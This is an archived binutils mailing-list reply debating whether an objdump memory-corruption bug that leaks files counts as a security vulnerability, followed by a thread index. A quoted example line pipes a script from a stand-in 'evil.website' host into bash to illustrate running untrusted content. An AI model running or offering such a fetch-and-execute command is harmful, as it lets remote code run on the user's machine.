From: Richard Earnshaw <Richard.Earnshaw@foss.arm.com>
To: Siddhesh Poyarekar <siddhesh@gotplt.org>,
Nick Clifton <nickc@redhat.com>,
Binutils <binutils@sourceware.org>
Cc: "gdb@sourceware.org" <gdb@sourceware.org>
Subject: Re: RFC: Adding a SECURITY.md document to the Binutils
Date: Thu, 13 Apr 2023 14:40:39 +0100 [thread overview]
Message-ID: <2d4c7f13-8a35-3ce5-1f90-ce849a690e66@foss.arm.com> (raw)
In-Reply-To: <01e846c0-c6bf-defe-0563-1ed6309b7038@gotplt.org>
On 13/04/2023 14:35, Siddhesh Poyarekar wrote:
> On 2023-04-13 09:11, Richard Earnshaw wrote:
>>> This is why when one does a:
>>>
>>> curl -s http://evil.website/malicious-script.sh | bash
>>>
>>> it is a legitimate security issue, but it's not a vulnerability in
>>> bash, nor can it be secured in bash. One must either do this in a
>>> sandbox to contain its impact in that sandbox, or do a secondary
>>> analysis (again in a sandbox) to determine that it is safe.
>>
>> Right, but that's not the case I was concerned about. My scenario is
>> more like when you run something like
>>
>> objdump foo.o
>>
>> but reading foo.o causes corruption in the tools (eg by a buffer
>> exploit) and ends up sending a confidential file to a third party.
>
> It's not fundamentally different from, e.g.
>
> bash malicious-script.sh
>
> it just feels different because you elided the transport mechanism.
> Fundamentally, it is unsafe to do anything with untrusted content
> without sandboxing, so objdump is no different. Sure, objdump is an
> analysis tool, so it should be able to analyze foo.o without crashing,
> but that's a robustness issue, not a security one. The security aspect
> should be handled by a sandbox.
Sorry, I disagree. Sending files to third parties is completely outside
of the intended scope of objdump, so if it ends up being able to do so,
that's a security issue.
R.
next prev parent reply other threads:[~2023-04-13 13:40 UTC|newest]
Thread overview: 56+ messages / expand[flat|nested] mbox.gz Atom feed top
2023-04-07 8:42 Nick Clifton
2023-04-07 10:36 ` Eli Zaretskii
2023-04-11 13:29 ` Nick Clifton
2023-04-11 14:23 ` Simon Marchi
2023-04-11 15:00 ` Eli Zaretskii
2023-04-11 16:22 ` Nick Clifton
2023-04-11 16:32 ` Matt Rice
2023-04-11 18:18 ` J.W. Jagersma
2023-04-12 8:43 ` Nick Clifton
2023-04-08 6:30 ` Jan Beulich
2023-04-10 18:30 ` John Baldwin
2023-04-20 15:56 ` Nick Clifton
2023-04-11 19:45 ` Ian Lance Taylor
2023-04-12 16:02 ` Richard Earnshaw
2023-04-12 16:26 ` Siddhesh Poyarekar
2023-04-12 16:52 ` Richard Earnshaw
2023-04-12 16:58 ` Paul Koning
2023-04-12 17:10 ` Siddhesh Poyarekar
2023-04-13 3:51 ` Alan Modra
2023-04-13 4:25 ` Siddhesh Poyarekar
2023-04-13 5:16 ` Alan Modra
2023-04-13 12:00 ` Siddhesh Poyarekar
2023-04-13 10:25 ` Richard Earnshaw
2023-04-13 11:53 ` Siddhesh Poyarekar
2023-04-13 12:37 ` Richard Earnshaw
2023-04-13 12:54 ` Siddhesh Poyarekar
2023-04-13 13:11 ` Richard Earnshaw
2023-04-13 13:35 ` Siddhesh Poyarekar
2023-04-13 13:40 ` Richard Earnshaw [this message]
2023-04-13 13:56 ` Siddhesh Poyarekar
2023-04-13 14:50 ` Richard Earnshaw
2023-04-13 15:02 ` Siddhesh Poyarekar
2023-04-13 15:05 ` Richard Earnshaw
2023-04-13 16:42 ` Siddhesh Poyarekar
2023-04-14 9:52 ` Richard Earnshaw
2023-04-14 12:43 ` Siddhesh Poyarekar
2023-04-14 12:49 ` Richard Earnshaw
2023-04-14 13:13 ` Siddhesh Poyarekar
2023-04-13 15:08 ` Paul Koning
2023-04-13 16:02 ` Siddhesh Poyarekar
2023-04-13 16:49 ` Paul Koning
2023-04-13 17:00 ` Siddhesh Poyarekar
2023-04-13 17:05 ` Paul Koning
2023-04-13 17:29 ` Siddhesh Poyarekar
2023-04-13 17:37 ` Paul Koning
2023-04-13 18:16 ` Siddhesh Poyarekar
2023-04-14 17:37 ` Ian Lance Taylor
2023-04-14 18:27 ` Siddhesh Poyarekar
2023-04-14 20:46 ` Ian Lance Taylor
2023-04-14 21:24 ` Siddhesh Poyarekar
2023-04-17 15:31 ` Michael Matz
2023-04-17 19:55 ` Ian Lance Taylor
2023-04-14 19:45 ` DJ Delorie
2023-04-14 20:49 ` Ian Lance Taylor
2023-04-15 6:41 ` Xi Ruoyao
2023-04-13 16:06 ` Richard Earnshaw
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